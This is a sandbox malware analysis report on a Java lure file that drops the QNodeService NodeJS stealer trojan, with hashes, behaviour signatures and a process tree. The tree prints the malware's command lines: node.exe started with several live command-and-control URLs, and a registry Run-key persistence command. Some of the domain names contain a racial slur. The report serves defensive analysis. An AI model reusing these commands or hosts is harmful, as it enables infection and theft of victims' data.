Analysis

  • max time kernel
    135s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    07-07-2020 18:31

General

  • Target

    COTIZACION #00195.jar

  • Size

    11KB

  • MD5

    dea82e5fa24ff713864dab39309766ab

  • SHA1

    376db1ce4d3204b0701a21626682772ea8cfa86c

  • SHA256

    1e60e23416feac21261eeeaf7e497410744bf5f8618a343e383651068bef1411

  • SHA512

    9308b30ccdedbe19cba9e3d22aaf609e4ba2d7d2d8db52b3ff965eab0168bf0d622f007ef1f4cc333e3639304f1d15c7a9723153244acfb244ba4003416dc6cf

Malware Config

Signatures

  • QNodeService

    is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Adds Run entry to start application 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • QNodeService NodeJS Trojan 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of WriteProcessMemory 8 IoCs
  • Executes dropped EXE 2 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\COTIZACION #00195.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3588
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://coolnigga.linkpc.net --central-base-url https://mynigga.servehttp.com --central-base-url https://coolboy.serveftp.com --central-base-url https://badboy.linkpc.net
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:396
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-4f9a1ccf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-4f9a1ccf.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1404
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-4f9a1ccf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-4f9a1ccf.cmd\""
          4⤵
          • Adds Run entry to start application
          PID:1484
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://coolnigga.linkpc.net --central-base-url https://mynigga.servehttp.com --central-base-url https://coolboy.serveftp.com --central-base-url https://badboy.linkpc.net
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Loads dropped DLL
        • Checks processor information in registry
        • Executes dropped EXE
        PID:1576

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/396-117-0x00000186A0880000-0x00000186A0881000-memory.dmp

    Filesize

    4KB

  • memory/1576-123-0x000000209AB40000-0x000000209AB41000-memory.dmp

    Filesize

    4KB